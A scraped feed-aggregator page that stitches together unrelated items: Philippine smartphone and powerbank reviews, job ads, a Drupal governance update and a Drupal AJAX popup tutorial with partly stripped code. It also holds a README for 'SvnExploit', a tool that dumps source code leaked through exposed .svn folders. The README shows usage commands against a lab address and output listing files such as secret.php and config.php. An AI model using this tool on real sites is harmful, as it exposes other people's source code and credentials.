The Vivo Y91i employs a rear-mounted fingerprint sensor for faster unlocking and security purposes. Likewise, the handset is also pleasing in the eyes with its three dazzling color variants: Starry Black, Aurora and Ocean Blue.

The Vivo Y91i completes the trio of the recently-released smartphones from Y-series together with the Y95 and Y91.

Vivo Y91i Specs


155.11 × 75.09 × 8.28mm at 163.5g
6.2-inch HD+ Halo FullView IPS display
(1520 x 720p resolution at 271ppi)
Qualcomm Snapdragon 439 SoC
1.95GHz octa-core processor
Adreno 505 GPU
2GB RAM
16GB storage
Expandable via microSD
13MP + 2MP dual rear camera (f/2.2, LED flash)
8MP selfie camera (f/2.0 aperture)
4G LTE, 3G, 2G
WiFi 802.11 a/b/g/n
Bluetooth 4.2
GPS, BDS, GLONASS
FM Radio
microUSB
Android 8.1 Oreo with FunTouch OS 4.5
Fingerprint scanner
Face unlock
Dual SIM, Dual standby
Ocean Blue, Starry Black, Aurora
4,030mAh Battery
Php 8499

          Realme C1 debuts in the Philippines: Specs, Price, Everything-You-Need-To-Know      Cache   Translate Page      
Realme C1 is now official in the Philippines. The smartphone becomes the poster-boy of the company’s entry to the country. Realme C1 provides the best of quality, performance, and style as it aims for the younger demographics. The company dubbed the Realme C1 as the “Entry-level King” making it one of the most sought-after devices this season. The handset is priced at Php 5,990, but it will be sold at Php 5,490 via Lazada Flash Sale on December 5th.

The Realme C1


The Realme C1 packs a juicy 4230mAh mega battery which, according to the company, could last up to 44 hours of phone calls, 18 hours of music playback with Wi-Fi, and 10 hours of gaming. The handset uses its Power Saver and Quick App Freezing feature to reduce overall power consumption. 

Hardware

The Realme C1 ticks with a Qualcomm Snapdragon 450 octa-core processor with up to 1.8GHz speed. Packed with a powerful image processing and 2GB RAM + 16GB ROM, it can run multiple types of games smoothly and without any lag. There are two nano 4G SIM card slots and a dedicated micro SD card inside the Realme C1. 

Realme C1 Display, Design


The smartphone frames a 6.2-inch super large screen, making it the first large-sized notch full-screen smartphone in its price segment. The phone achieves a screen-to-body ratio of 88.8 percent, and a 19:9 screen display because of a more compact arrangement of the earpiece, front camera, and light sensor.

Likewise, the Realme C1 boasts a third-generation Corning Gorilla Glass with native damage and scratch resistance. In addition, with 12 layers of nano-scale sheet laminate and 2.5D nano-scale composite material, the device has greater hardness and better wear and scratch resistance. It also features an electroplated layer that increases hardness, prevents wear, and improves smoothness, heat resistance and surface appearance. 

Its back panel was subjected to a unique ink printing technology which gives the rear cover a translucent texture for a three-dimensional effect. You can get the Realme C1 in Mirror Black and Navy Blue.

Camera

The Realme C1 is boasts a dual-rear module with 13MP + 2MP sensors supported with software algorithm. It supports portrait mode and PDAF. The selfie camera is a 5MP affair. It comes with AI Beauty capability which takes photo editing to a new level. It supports 296 recognition points which intelligently recognizes gender, age, skin tone, and even skin type of characters through AI algorithms. Thus, it can accurately identify and provide individualized beauty schemes from 8 million beauty solutions. Intelligent AI Beauty records and learns the photo editing habits of the user in the local album and applies these editing points in future photo sessions.

Other Features

The Realme C1 supports facial unlock and SmartLock. Facial unlock captures 128 face recognition points through the front camera. Likewise, it boots with  ColorOS 5.1 which supports Clone Apps and full screen multitasking.

Realme Philippines Launch
Realme and Lazada Executives

Realme C1 Price and Availability in the Philippines


The Realme C1 (2GB + 16GB) is available for Php5,990 this Christmas season. However, Realme partnered with Lazada for a Flash Sale on December 5th. With this, you can only get the Realme C1 at Php 5,490 by 12NN.

Realme C1 Specs


156.2mm x 75.6mm x 8.2mm at 168g
6.2-inch HD+ (1520 x 720p) display at 271ppi
88.8% screen-to-body ratio, 16.7 million colors
Qualcomm Snapdragon 450
Octa-core 1.8Ghz CPU, 14nm
Adreno 506 GPU
2GB RAM
16GB Storage
Expandable, up to 256GB via microSD card
13MP + 2MP Rear Camera (F/2.2 and F/2.4)
5MP Selfie Camera f/2.2
AI Beautification 2.0, Front Camera HDR, Bokek Mode
Dual nano-SIMs
Real HD Sound
Bluetooth
WiFi
GPS
USb OTG
Light Sensor, G-sensor, Acceleration sensor,
Magnetic induction, Proximity Sensor
Facial Unlock, SmartLock
ColorOS 5.1, based on Android 8.1
4230 mAh battery
Mirror Black and Navy Blue
Php 5,990
Php 5,490 in December 5 Lazada Flash Sale

          5 Best Powerbanks in the Philippines      Cache   Translate Page      
Powerbanks have became a necessity to mobile users. The more we have them in our pockets, the more powerful and productive we become. Not all mobile devices have long-lasting power under their belt, that is why powerbanks exist. Each user has their respective requirements when it comes to having their own powerbank. Of course, most of them ticks portability in their list. Performance is also a great deciding factor.

5 Best Powerbanks in PH


There are lots of choices to choose from, these choices come with a balance of value and compromise. Here's the list of the best powerbanks of 2018, in no particular order.


1. VEGER VP1027 PD

The VEGER VP1027 PD serves as the hero product of the company. It recently made a huge splash upon its entry here in the Philippines. The VP1027 PD is one of the fastest powerbanks that we have tested. It supports the Power Delivery and the Triple Charging Technology. On top of that, this 10,000-mAh power pack supports Qualcomm QuickCharge 3.0 which is very efficient in power management, and has wide operating temperature range.
Veger VP 1027 PD White


VEGER VP1027 PD is also one of the best looking powerbanks in the market. Its white variant sports a minimalist and clean design that you'll love to have in your bags and pockets. Moreover, it supports a wide range of devices including Macbooks, iPhone Xs, Android smartphones, compatible Windows Laptops, and more. It's priced practically at Php 1,599 and it's currently available in a clean white variant.

2. Capdase Hyper 10 II (2018)

Case-maker Capdase opens a strong line of power products in their portfolio. The Hyper 10 is one of their bestselling series, and there's a number of good reasons for that. For one, the Hyper 10 II is portable enough to be pocket-friendly. It also aces other competitors in fast charging department with a flexible Type C In and Out port.

Best Powerbanks Capdase Hyper 10

This 10,000-mAh power pack is tagged by the company as a "premium power bank" due to its metallic construction and safety performance. But of course, it's on the expensive side with its Php 1980 price tag.

3. iWalk Scorpion UBT800X

iWalk Scorpion UBT800X is quite a special powerbank. For one, it has built-in cables for almost all connectors needed for your devices. To enumerate, the powerbank has USB Type A cable, USB Type C, Lightning Cables for Apple devices, and a Micro USB cable for most Android devices.

Best Powerbanks iWalk Scorpion

Design-wise, the iWalk Scorpion UBT8000X looks pleasing in the eye. Its body is made of plastic which is highlighted by perforated checkered patterns which makes gripping this powerbank easy. This power bank is quite expensive with its Php 2,299 price tag. But if you hate dangling cables, this could be your thing.

4. Anker PowerCore II Slim 10000

This 10,000-mAh powerbank is also one of the slimmest we've seen in the market. The company even tagged it as an "ultra slim" power bank. The Anker PowerCore II offers at least three full charges for flagship smartphones.

Best Powerbanks Anker
Anker's performance and safety technology allow users to worry less about getting power drained on their devices while enjoying the super portability of the powerbank. The Anker PowerCore II is priced at Php 2,595. Like any powerbanks ahead on this list, it's also a good investment to your growing number of devices.

5. Xiaomi Mi Power Bank Pro 10,000 mAh

This metal-clad powerbank is very portable. It supports both micro USB and USB Type C devices. This means that it provides users a wider range of charging support for phones, notebooks, tablets, and more. It also offers unique low current charging for wearable devices.

Best powerbanks: Xiaomi Mi Power Bank Pro
Xiaomi Mi Power Bank Pro employs what the company called "nine-circuit protection." It may not be the fastest power brick in the bunch but it's definitely one of the most visually appealing powerbanks out there.

The Wrap

Choosing a powerbank could be a chore. Portability, Device Safety, Design, and Performance should always be the deciding factors in choosing the right one. In the end, it's always a good investment to have a dependable companion to all of your devices. 

If you're in the market for a value-for-money powerbank, you'll never go wrong if you purchase one of these 5 Best Powerbanks in the Philippines.

          CMS (WordPress) developer - The Moving Pixel - West Bengal      Cache   Translate Page      
Web Developer knowing PHP & WordPress Requirements: Strong knowledge of WordPress development Excellent knowledge of PHP, HTML/HTML5, CSS/CSS3, JavaScript,...
From The Moving Pixel - Sun, 14 Oct 2018 05:06:05 GMT - View all West Bengal jobs
          Comment on Moodle search box by AJ      Cache   Translate Page      
I followed the directions you have on your blog and go so far as to make the search box, but when I actually attempt to search for something, it comes back with a 404 /search.php not found. How do I actually make the search.php file if one doesn't exist? thanks.
          Forum Post: RE: CCS/CC1352P: Launchpad J-LINK Support      Cache   Translate Page      
Bill, Were you able to successfully connect? The CC1352P device is listed as supported by Jlink. https://www.segger.com/downloads/supported-devices.php I was able to properly run and flash my CC1352R Launchpad (I don't have a CC1352P ). In an example project, I simply changed the connection setting to Jlink and debugged my program. My setup is as follows: Hope this helps, Rafael
          Ervaren PHP Web Developer - Target Recruitment - Antwerp      Cache   Translate Page      
Facilicom zoekt een ervaren PHP Web developer te Antwerpen Bedrijf Facilicom! Met wat opzoekingswerk zie je dat ze één van de grootste spelers zijn binnen de facilitaire dienstverlening. Dat zal waarschijnlijk voor velen niet onmiddellijk duidelijk zijn, toch? Om het in mensentaal te verwoorden: ze zorgen voor het ganse beheer van een gebouw. Gaande van schoonmaak, catering, security tot het ganse onderhoud. Ze hebben een heel groot cliënteel in Nederland, België, UK en...
          virtuemart check      Cache   Translate Page      
Seit Oktober 2018 funktioniert unser Joomla Virtuemart Shop nicht mehr richtig, gibt fehlermeldungen bei bestellungen bei Vorkasse, zeigt und versendet keine Rechnungen. Vermutlich hängt es mit der Umstellung von PHP zusammen, da unser Hoster zum 1.10... (Budget: €18 - €36 EUR, Jobs: CSS, HTML, Joomla, PHP, Virtuemart)
          virtuemart check      Cache   Translate Page      
Seit Oktober 2018 funktioniert unser Joomla Virtuemart Shop nicht mehr richtig, gibt fehlermeldungen bei bestellungen bei Vorkasse, zeigt und versendet keine Rechnungen. Vermutlich hängt es mit der Umstellung von PHP zusammen, da unser Hoster zum 1.10... (Budget: €18 - €36 EUR, Jobs: CSS, HTML, Joomla, PHP, Virtuemart)
          virtuemart check      Cache   Translate Page      
Seit Oktober 2018 funktioniert unser Joomla Virtuemart Shop nicht mehr richtig, gibt fehlermeldungen bei bestellungen bei Vorkasse, zeigt und versendet keine Rechnungen. Vermutlich hängt es mit der Umstellung von PHP zusammen, da unser Hoster zum 1.10... (Budget: €18 - €36 EUR, Jobs: CSS, HTML, Joomla, PHP, Virtuemart)
          Expertos Php      Cache   Translate Page      
Se precisan desarrolladores PHP cpn conocimientos en Jquery y Postgresql (Budget: €4 - €6 EUR, Jobs: AJAX, Javascript, jQuery / Prototype, MySQL, PHP)
          Crow Simple PHP Blog Github (New)      Cache   Translate Page      
Package:
Summary:
Use Github as a content manager for blog posts
Groups:
Author:
Description:
This package can use Github as a content manager for blog posts...

Read more at https://www.phpclasses.org/package/10985-PHP-Use-Github-as-a-content-manager-for-blog-posts.html

          Copy slyder from Wordpress to php      Cache   Translate Page      
Copy slyder from Wordpress to php Make slider work from a Wordpress to php. ***But we don't have access to the admin of WP.*** (Budget: $30 - $250 CAD, Jobs: Javascript, WordPress)
          CSR - Japanese Speaker/Translator - Chenvel Services Inc. - Valenzuela      Cache   Translate Page      
Are you looking for a job? Japanese proficient? Then you’re the one we are looking for! Chenvel Services Inc. is now hiring CSR – Japanese speaker/translator... PHP 13,000 - PHP 15,000 a month
From Indeed - Wed, 14 Nov 2018 03:56:58 GMT - View all Valenzuela jobs
          URGENT! Financial Solutions Associate (Navotas) - AXA Philippines - Navotas      Cache   Translate Page      
*Join the Top Global Insurance Brand!* AXA's *FINANCIAL SOLUTIONS ASSOCIATES* are confident, optimistic, reliable, and driven individuals who enjoy a career... PHP 18,000 - PHP 23,000 a month
From Indeed - Mon, 19 Nov 2018 07:16:53 GMT - View all Navotas jobs
          GitHub - admintony/svnExploit: SvnExploit支持SVN源代码泄露全版本Dump源码      Cache   Translate Page      

SvnExploit是一款SVN源代码利用工具,其完美支持SVN<1.7版本和SVN>1.7版本的SVN源代码泄露,更多请阅读:

SVN源代码泄露利用工具

《SVN源代码泄露利用工具-SvnExploit》升级版

安装依赖库

sudo pip install -r requirements.txt

查看帮助

python SvnExploit.py -h

检测SVN源代码泄露

python SvnExploit.py -u http://192.168.27.128/.svn

下载源代码

python SvnExploit.py -u http://192.168.27.128/.svn --dump

svn > 1.7版本

python .\svnExploit.py -u http://192.168.27.128/unit-2/lab3/.svn/
 ____             _____            _       _ _
/ ___|_   ___ __ | ____|_  ___ __ | | ___ (_) |_
\___ \ \ / / '_ \|  _| \ \/ / '_ \| |/ _ \| | __|
 ___) \ V /| | | | |___ >  <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
                            |_|
SvnExploit - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExploit


+--------------------+----------+------------------------------------------------+
|       文件名       | 文件类型 |                    CheckSum                    |
+--------------------+----------+------------------------------------------------+
|      conn.php      |   file   | $sha1$8f47ccbd4a436aa4f31018fea026275f6059ed10 |
|       trunk        |   dir    |                      None                      |
|      branches      |   dir    |                      None                      |
|  admin_login.php   |   file   | $sha1$a6981b1ca963c8a75e133e38780be7ff0cd60952 |
|     phpmyadmin     |   file   | $sha1$6d5af41c175e344ee483732648edc9318b2a6014 |
|     README.TXT     |   file   | $sha1$c5981462cc06422f4a78e68f0a48dddcf5860eb9 |
|     README.txt     |   file   | $sha1$ef4b5f3081dbac31f9fb089aafd60dd2b9474b51 |
|     secret.php     |   file   | $sha1$2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609 |
|     README.md      |   file   | $sha1$466f5ab1e4adfd373a23f639e0dd8fcfdce7874b |
| img/login_bg01.jpg |   file   | $sha1$311efc58c4d7035a54fdb8e94d6ba901c56354fd |
|        img         |   dir    |                      None                      |
|     index.php      |   file   | $sha1$4660847a73ab0906d91841dde9576bd5054b2020 |
|      test.sql      |   file   | $sha1$096a90da3e471a472874413b18cb2f5dd0567fd1 |
|     admin.php      |   file   | $sha1$f444d3aad996577872ac7b95a2c05aa11e6b1f8f |
|      document      |   dir    |                      None                      |
|        tags        |   dir    |                      None                      |
+--------------------+----------+------------------------------------------------+
python .\svnExploit.py -u http://192.168.27.128/unit-2/lab3/.svn/ --dump
 ____             _____            _       _ _
/ ___|_   ___ __ | ____|_  ___ __ | | ___ (_) |_
\___ \ \ / / '_ \|  _| \ \/ / '_ \| |/ _ \| | __|
 ___) \ V /| | | | |___ >  <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
                            |_|
SvnExploit - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExploit


+--------------------+--------------------------------------------------------------------+----------+
|       文件名       |                                URL                                 | 下载状态 |
+--------------------+--------------------------------------------------------------------+----------+
|      conn.php      | .svn/pristine/8f/8f47ccbd4a436aa4f31018fea026275f6059ed10.svn-base | 下载成功 |
|     README.TXT     | .svn/pristine/c5/c5981462cc06422f4a78e68f0a48dddcf5860eb9.svn-base | 下载成功 |
|     README.txt     | .svn/pristine/ef/ef4b5f3081dbac31f9fb089aafd60dd2b9474b51.svn-base | 下载成功 |
|     phpmyadmin     | .svn/pristine/6d/6d5af41c175e344ee483732648edc9318b2a6014.svn-base | 下载成功 |
|     secret.php     | .svn/pristine/2e/2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609.svn-base | 下载成功 |
|     README.md      | .svn/pristine/46/466f5ab1e4adfd373a23f639e0dd8fcfdce7874b.svn-base | 下载成功 |
|  admin_login.php   | .svn/pristine/a6/a6981b1ca963c8a75e133e38780be7ff0cd60952.svn-base | 下载成功 |
|     index.php      | .svn/pristine/46/4660847a73ab0906d91841dde9576bd5054b2020.svn-base | 下载成功 |
|     admin.php      | .svn/pristine/f4/f444d3aad996577872ac7b95a2c05aa11e6b1f8f.svn-base | 下载成功 |
|      test.sql      | .svn/pristine/09/096a90da3e471a472874413b18cb2f5dd0567fd1.svn-base | 下载成功 |
| img/login_bg01.jpg | .svn/pristine/31/311efc58c4d7035a54fdb8e94d6ba901c56354fd.svn-base | 下载成功 |
+--------------------+--------------------------------------------------------------------+----------+
[+] 已经Dump完成!

svn < 1.7版本

python .\svnExploit.py -u http://192.168.27.128/unit-2/lab2/.svn/
 ____             _____            _       _ _
/ ___|_   ___ __ | ____|_  ___ __ | | ___ (_) |_
\___ \ \ / / '_ \|  _| \ \/ / '_ \| |/ _ \| | __|
 ___) \ V /| | | | |___ >  <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
                            |_|
SvnExploit - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExploit


+---------------------+----------+---------------------------------------------+
|        文件名       | 文件类型 |                     URL                     |
+---------------------+----------+---------------------------------------------+
|     favicon.ico     |   file   |     /.svn/text-base/favicon.ico.svn-base    |
|      index.html     |   file   |     /.svn/text-base/index.html.svn-base     |
|     phpinfo.php     |   file   |     /.svn/text-base/phpinfo.php.svn-base    |
|      shell.php      |   file   |      /.svn/text-base/shell.php.svn-base     |
|  config/config.php  |   file   |  config/.svn/text-base/config.php.svn-base  |
|     css/add.css     |   file   |     css/.svn/text-base/add.css.svn-base     |
|   css/colorbox.css  |   file   |   css/.svn/text-base/colorbox.css.svn-base  |
|   css/company.css   |   file   |   css/.svn/text-base/company.css.svn-base   |
| images/btn_back.png |   file   | images/.svn/text-base/btn_back.png.svn-base |
|   images/gitf.png   |   file   |   images/.svn/text-base/gitf.png.svn-base   |
|     js/common.js    |   file   |     js/.svn/text-base/common.js.svn-base    |
|   js/jquery.min.js  |   file   |   js/.svn/text-base/jquery.min.js.svn-base  |
|      js/loop.js     |   file   |      js/.svn/text-base/loop.js.svn-base     |
+---------------------+----------+---------------------------------------------+
python .\svnExploit.py -u http://192.168.27.128/unit-2/lab2/.svn/ --dump
 ____             _____            _       _ _
/ ___|_   ___ __ | ____|_  ___ __ | | ___ (_) |_
\___ \ \ / / '_ \|  _| \ \/ / '_ \| |/ _ \| | __|
 ___) \ V /| | | | |___ >  <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
                            |_|
SvnExploit - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExploit


+---------------------+---------------------------------------------+----------+
|        文件名       |                     URL                     | 下载状态 |
+---------------------+---------------------------------------------+----------+
|     favicon.ico     |     /.svn/text-base/favicon.ico.svn-base    | 下载成功 |
|      index.html     |     /.svn/text-base/index.html.svn-base     | 下载成功 |
|     phpinfo.php     |     /.svn/text-base/phpinfo.php.svn-base    | 下载成功 |
|      shell.php      |      /.svn/text-base/shell.php.svn-base     | 下载成功 |
|  config/config.php  |  config/.svn/text-base/config.php.svn-base  | 下载成功 |
|     css/add.css     |     css/.svn/text-base/add.css.svn-base     | 下载成功 |
|   css/colorbox.css  |   css/.svn/text-base/colorbox.css.svn-base  | 下载成功 |
|   css/company.css   |   css/.svn/text-base/company.css.svn-base   | 下载成功 |
| images/btn_back.png | images/.svn/text-base/btn_back.png.svn-base | 下载成功 |
|   images/gitf.png   |   images/.svn/text-base/gitf.png.svn-base   | 下载成功 |
|     js/common.js    |     js/.svn/text-base/common.js.svn-base    | 下载成功 |
|   js/jquery.min.js  |   js/.svn/text-base/jquery.min.js.svn-base  | 下载成功 |
|      js/loop.js     |      js/.svn/text-base/loop.js.svn-base     | 下载成功 |
+---------------------+---------------------------------------------+----------+

更新记录 - 20181130

1.添加svn版本识别函数 - SvnVersion
2.添加svn<1.7版本时源码泄露利用功能(自动识别svn版本),包括查看和Dump源码
3.优化显示,使用prettytable库输出表格
4.添加Banner,美化界面

更新记录 - 20180821

1.添加编码声明
2.将mkdir函数改成了makedirs,防止目录结构复杂的无法dump源码
├── history
│   ├── README.md
│   └── svnExploit.py
├── readme.md
├── requirements.txt
└── SvnExploit.py

svn>1.7时,dump源码工具

具体用法参考: http://admintony.com/SVN源代码泄露利用工具.html


          URGENT! Financial Solutions Associate (Malabon) - AXA Philippines - Malabon      Cache   Translate Page      
*Join the Top Global Insurance Brand!* AXA's *FINANCIAL SOLUTIONS ASSOCIATES* are confident, optimistic, reliable, and driven individuals who enjoy a career... PHP 18,000 - PHP 23,000 a month
From Indeed - Mon, 19 Nov 2018 07:18:26 GMT - View all Malabon jobs
          Copy slyder from Wordpress to php      Cache   Translate Page      
Copy slyder from Wordpress to php Make slider work from a Wordpress to php. ***But we don't have access to the admin of WP.*** (Budget: $30 - $250 CAD, Jobs: Javascript, WordPress)
          Community: Values & Principles Committee Update - November 2018      Cache   Translate Page      

The Values & Principles Committee has formed and has started its work. It has started by looking at Principle 8.

Why are we doing this?

As Dries said, when announcing the first iteration of the Drupal Values & Principles, the Drupal project has had a set of Values & Principles for a very long time. Historically, they were mostly communicated by word of mouth and this meant that some in our community were more aware of them than others.

Writing down the Values & Principles was a great first step. What we need to do now is continually refine the common understanding of these Values & Principles across our whole community and ensure that they are built-in to everything we do.

How will we work?

The Values & Principles are held very closely to the heart of the members of our community and we absolutely recognise that any work on them must be inclusive, clear, structured and accountable.

We are, therefore, going to be open about the work we are doing. While there are members of a committee that will focus on this task, it is not the committee’s job to make decisions “behind closed doors”. Instead, the committee is responsible for enabling the whole community to refine and communicate our common Values & Principles.

We will record actions and progress in the Drupal Governance Project so that all in our community will be able to have the necessary input.

How will we communicate?

We will continue to post updates on the Drupal Community Blog and, as already mentioned, you will always be able to see and, most importantly, participate in issues in the Governance Project. We even have a board on ContribKanban!

Who is on the committee?

Hussain Abbas (hussainweb) works as an Engineering Manager at Axelerant. He started writing programs in 1997 for school competitions and never stopped. His work focus is helping people architect solutions using Drupal and enforcing best practices. He also participates in the local developer community meetup for PHP in general and Drupal in particular. He often speaks at these events and camps in other cities.

Alex Burrows (aburrows), from UK, is the Technical Director of Digidrop and has over 10 years working in Drupal, as well as an avid contributor and a member of the Drupal Community Working Group. As well as this he is a DrupalCamp London Director and Organizer and the author of Drupal 8 Blueprints book.

Jordana Fung (jordana) is a freelance, full-stack Drupal developer from Suriname, a culturally diverse country where the main language is Dutch. She has been steadily increasing her participation in the Drupal community over the past few years and currently has a role on the Drupal Community Working Group. She loves to spend her time learning new things, meeting new people and sharing knowledge and ideas.

Suchi Garg (gargsuchi), living in Melbourne Australia is a Tech Lead at Salsa Digital. She has been a part of the Drupal community for more than 12 years as a site builder, developer, contributor, mentor, speaker and trainer. She had been a part of the Indian community before moving to Australia and is now an active Drupal community down under.

John Kennedy (johnkennedy), lives in Boston, works as a Product Manager for AWS. Over 10 years in Drupal as a site-builder, developer, speaker and on the business side. Co-organiser of Drupal Camp London 2012-2015. PM for Acquia Lightning and the Drupal 8 Module Acceleration Program.

Rachel Lawson (rachel_norfolk), UK and the Community Liaison at the Drupal Association will finally be providing logistical support to the committee and helping wherever she can. Having been in the Drupal community for 11 years as a site builder, a contributor and a mentor, she has had opportunity to experience how the community understands its collective Values & Principles.

In order to be as transparent and forthcoming as possible we wanted to address the fact that there are currently 2 CWG members on the committee. The initial call for people to join the Values & Principles committee happened at the same time as the Community Working Group was calling for new members and, as luck would have it, Alex Burrows applied for both.

In October 2018 a current member of the CWG, Jordana Fung joined the Values & Principles committee and at same time he was being vetted for potential membership to the CWG, Alex joined the Values & Principles committee as well. After the vetting process, Alex officially became a member of the CWG in November. So as it stands now, there are 2 CWG members on the V&P committee.

There are a few possible options going forward, some are:

  • Both CWG members continue for now (whilst the V&P committee is in the very early formation stages) and then possibly:
    • One member drops off
    • They act as a team and only one member (whichever is available) participates in meetings
  • The CWG decides which member is on the VP committee
    • We may need to add another member to the VP committee to take the place of the member that will no longer attend.

So, what’s next?

We have started by compiling a summary of feedback from the community so far that relates to the project’s Values & Principles from such places as the Whitney Hess Interviews, community-led conversations around governance and some anonymized feedback from the Governance Taskforce. We will be adding this summary to an issue in the project.

Call to action

We recognize, though, that what we really want to understand is how you understand what we already have written in Principle 8. THis is how we intend to do that…

The members of the committee have each written stories from their own memories of the Drupal community that demonstrate Principle 8 in action.

We invite you all to write your own stories, from your memories of the Drupal community, other tech communities or indeed any other aspect of life, that demonstrate Principle 8 to you. You should add your story to this issue we have created:

Add my story about Principle 8

One thing we do ask, though, is that you only add your own stories (as many as you like!) and NOT comment or question others’ stories. All stories are valid.

By the end of the year, we hope to have a rich set of stories that show how we, as a global community, interpret Principle 8 and we can then look to see if any changes need to be made to the words or, maybe, it is more a case of linking the Principle to the stories or providing other statements supporting Principle 8.


          ComputerMinds.co.uk: Open links in popups with Foundation      Cache   Translate Page      
Brick wall built upon foundations on a building site

Let me take you on a journey. We'll pass by Drupal content renderer services, AJAX commands, javascript libraries and a popular front-end framework. If you've only heard of one or two of those things, come lean on the experience I took diving deep into Drupal. I'm pleased with where my adventure took me to, and maybe what I learned will be useful to you too.

Here's the end result: a contact form, launched from a button link in the site header, with the page beneath obscured by an overlay. The form allows site visitors to get in touch from any page, without leaving what they were looking at.

Contact form showing in a Foundation reveal popup, launched from a button in the header. An overlay obscures the page behind.

Drupal has its own API for making links launch dialogs (leveraging jQuery UI Dialogs). But our front-end of the site was built with Foundation, the super-popular theming framework, which provides components of its own that are much better for styling. We often base our bespoke themes on Foundation, and manipulate Drupal to fit.

We had already done some styling of Foundation's Reveal component. In those places, the markup to show in the popup is already in the page, but I didn't really want the form to be in the page until it was needed. Instead, AJAX could fetch it in. So I wondered if I could combine Drupal's AJAX APIs with Foundation's Reveal markup and styling. Come with me down the rabbit hole...

There are quite a few components in making this possible. Here's a diagram:

Components involved in opening a Reveal popup containing the markup from a link's target.

So it comes down to the following parts, which we'll explore together. Wherever custom code is needed, I've posted it in full later in this article.

  • A link that uses AJAX, with a dialog type set in an attribute.
  • Drupal builds the content of the page that was linked to.
  • Drupal's content view subscriber picks up that response and looks for a content renderer service that matches the dialog type.
  • The content renderer returns an AJAX command PHP class in its response, and attaches a javascript library that will contain a javascript AJAX command (a method).
  • That command returns the content to show in the popup, and that javascript method name.
  • The javascript method launches the popup containing the HTML content.

Let's start at the beginning: the link. Drupal's AJAX API for links is pretty neat. We trigger it with two things:

  1. A use-ajax class, which tells it to open that link via an AJAX call, returning just the main page content (e.g. without headers & footers), to be presented in your existing page.
  2. A data-dialog-type attribute, to instruct how that content should be presented. This can be used for the jQuery UI dialogs (written up elsewhere) or the newer off-canvas sidebar, for example.

I wanted to have a go at creating my own 'dialog type', which would be a Foundation Reveal popup. The HTML fetched by the AJAX call would be shown in it. Let's start with the basic markup I wanted to my link to have:

Enquire

This could either just be part of content, or I could get this into a template using a preprocess function that would build the link. Something like this:

toUrl(), Url::fromRoute() or similar.
// For this example, it's come from a contact form entity.
$url->setOption('attributes', [
  'class' => [
    'use-ajax',
  ],
  // This attribute tells it to use our kind of dialog
  'data-dialog-type' => 'reveal',
]);
// The variable 'popup_launcher' is to be used in the template.
$variables['popup_launcher'] = \Drupal\Core\Link::fromTextAndUrl(t('Enquire'), $url);

After much reading around and breakpoint debugging to figure it out, I discovered that dialog types are matched up to content rendering services. So I needed to define a new one of those, which I could base closely on Drupal's own DialogRenderer. Here's the definition from my module's mymodule.services.yml file:

services:
  main_content_renderer.foundation_reveal:
    class: Drupal\mymodule\Render\MainContent\FoundationReveal
    arguments: ['@title_resolver']
    tags:
      - { name: render.main_content_renderer, format: drupal_reveal }

Adding the tag named 'render.main_content_renderer' means my class will be picked up by core's MainContentRenderersPass when building the container. Drupal's MainContentViewSubscriber will then consider it as a service that can render responses.

The 'format' part of the tag needs to be the value that our data-dialog-type attribute has, with (somewhat arbitrarily?) 'drupal_' prepended. The arguments will just be whatever the constructor for the class needs. I often write my class first and then go back to adjust the service definition once I know what it needs. But I'll be a good tour guide and show you things in order, rather than shuttling you backwards and forwards!

Onto that FoundationReveal service class now. I started out with a copy of core's own ModalRenderer which is a simple extension to the DialogRenderer class. Ultimately, that renderer is geared around returning an AJAX command (see the AJAX API documentation), which comes down to specifying a command to invoke in the client-side javascript with some parameters.

I would need my own command, and my FoundationReveal renderer would need to specify it to be used. That only two functional differences were needed in comparison to core's DialogRenderer:

  1. Attach a custom library, which would contain the actual javascript command to be invoked:
$main_content['#attached']['library'][] = 'mymodule/dialog.ajax';
  1. Return an AJAX command class, that will specify that javascript command (rather than the OpenDialogCommand command that DialogRenderer uses) - i.e. adding this to the returned $response:
new OpenFoundationRevealCommand('#mymodule-reveal')

We'll learn about that command class later!

So the renderer file, mymodule/src/Render/MainContent/FoundationReveal.php (in that location in order to match the namespace in the service file definition), looks like this - look out for those two tweaks:

setAttachments($main_content['#attached']);

    // Determine the title: use the title provided by the main content if any,
    // otherwise get it from the routing information.
    $title = isset($main_content['#title']) ? $main_content['#title'] : $this->titleResolver->getTitle($request, $route_match->getRouteObject());

    // Determine the dialog options and the target for the OpenDialogCommand.
    $options = $request->request->get('dialogOptions', []);

    $response->addCommand(new OpenFoundationRevealCommand('#mymodule-reveal', $title, $content, $options));
    return $response;
  }

}

That AJAX command class, OpenFoundationRevealCommand sits in mymodule/src/Ajax/OpenFoundationRevealCommand.php. Its render() method is the key, it returns the command which will map to a javascript function, and the actual HTML under 'data'. Here's the code:

 'openFoundationReveal',
      'selector' => $this->selector,
      'settings' => $this->settings,
      'data' => $this->getRenderedContent(),
      'dialogOptions' => $this->dialogOptions,
    ];
  }

  /**
   * {@inheritdoc}
   */
  protected function getRenderedContent() {
    if (empty($this->dialogOptions['title'])) {
      $title = '';
    }
    else {
      $title = '

' . $this->dialogOptions['title'] . '

'; } $button = ''; return '
' . $title . parent::getRenderedContent() . '
' . $button; } }

Now, I've mentioned that the command needs to match a javascript function. That means adding some new javascript to the page, which, in Drupal 8, we do by defining a library. My 'mymodule/dialog.ajax' library was attached in the middle of FoundationReveal above. My library file defines what actual javascript file to include - it is mymodule.libraries.yml and looks like this:

dialog.ajax:
  version: VERSION
  js:
    js/dialog.ajax.js: {}
  dependencies:
    - core/drupal.dialog.ajax

Then here's that actual mymodule/js/dialog.ajax.js file. It adds the 'openFoundationReveal' method to the prototype of the globally-accessible Drupal.AjaxCommands. That matches the command name returned by my OpenFoundationRevealCommand::render() method that we saw.

(function ($, Drupal) {
    Drupal.AjaxCommands.prototype.openFoundationReveal = function (ajax, response, status) {
    if (!response.selector) {
      return false;
    }

